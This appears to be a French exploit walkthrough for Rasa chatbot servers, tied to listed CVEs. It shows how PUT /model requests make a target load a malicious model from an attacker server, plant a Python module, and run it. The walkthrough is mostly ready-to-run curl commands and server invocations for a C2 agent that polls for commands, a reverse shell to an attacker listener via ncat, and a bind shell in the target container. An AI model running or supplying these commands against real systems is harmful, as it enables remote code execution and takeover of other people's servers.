
CVE-2024-49375、CVE-2021-42556、CVE-2021-41127
Exécution directe
python server-1.py

PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage1","wait_time_between_pulls":0}}

Résultat :

Nom de modèle par défaut : evil_import_model.tar.gz
Démo de modèle malveillant
version: "3.1"
intents:
- greet
responses:
utter_greet:
- text: "PWNED_BY_CTF"
nlu:
- intent: greet
examples: |
- hello
- hi
rules:
- rule: greet rule
steps:
- intent: greet
- action: utter_greet
Définition d'une règle de dialogue malveillante
Saisir
greetrenvoiePWNED_BY_CTF
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage2-probe-model","wait_time_between_pulls":0}

Résultat :

model.py modifie les données spécifiées dans l'archive compressée.
Exécution directe : lit par défaut le modèle dans le répertoire /model, le modifie et le sauvegarde dans le dossier courant sous le nom evil_import_model.tar.gz

Spécifier l'IP de reverse shell
Nom de modèle par défaut : evil_import_model.tar.gz
python reverse_server.py --reverse-host 192.168.244.128

Envoyer les données une par une.
Dans un scénario réel, les choses peuvent différer.
Machine attaquante Conteneur Rasa (cible)
│ │
├─ Lancer server-2.py ──────────────────┤
├─ PUT /model ──→ Télécharge pwnmod.py dans /app/
├─ PUT /model ──→ Télécharge modèle malveillant → import pwnmod → agent démarre
│ │
│ ← GET /poll?agent=xxx ───────────────┤ Interrogation toutes les 3s
├─ /enqueue?cmd=id ─────────────────────┤
│ ← GET /poll ─────────────────────────┤ Récupère la commande
│ ← POST /result ──────────────────────┤ Renvoie le résultat
├─ /last?agent=xxx ──→ Lit le résultat
# Lancer sur la machine attaquante
python server-2.py --mode c2 --c2-base-url http://<IP_attaquante>:8000 --port 8000
# Déclencher l'exploit (deux étapes)
curl -X PUT http://<adresse_rasa>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<IP_attaquante>:8000/write-module"}}'
curl -X PUT http://<adresse_rasa>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<IP_attaquante>:8000/model"}}'
# Envoyer une commande
curl "http://<IP_attaquante>:8000/enqueue?cmd=id"
# Attendre 8 secondes puis lire le résultat (agent interroge toutes les 3s + temps d'exécution)
curl "http://<IP_attaquante>:8000/last?agent=<hostname>"
# Si on ne spécifie pas l'agent (joker)
curl "http://<IP_attaquante>:8000/enqueue?cmd=whoami"
curl "http://<IP_attaquante>:8000/last"
# 1) Écouter sur la machine attaquante
ncat -lvnp 4444
# 2) Lancer server-2.py sur la machine attaquante
python server-2.py --mode reverse --reverse-host <IP_attaquante> --reverse-port 4444 --port 8000
# 3) Déclencher l'exploit
curl -X PUT http://<adresse_rasa>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<IP_attaquante>:8000/write-module"}}'
curl -X PUT http://<adresse_rasa>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<IP_attaquante>:8000/model"}}'
# 4) nc reçoit l'invite $, interaction directe
python server-2.py --mode bind --bind-port 4444 --port 8000
# L'agent écoute sur 0.0.0.0:4444 dans le conteneur cible
# ncat <IP_cible> 4444 pour se connecter
| Paramètre |
|---|
| Signification |
|---|
--port 8000 | Port d'écoute de server-2.py lui-même |
--c2-base-url | URL de base complète pour l'interrogation de l'agent en mode C2 (doit être une adresse accessible par le conteneur) |
--reverse-host | IP cible pour le reverse shell |
--reverse-port | Port cible pour le reverse shell |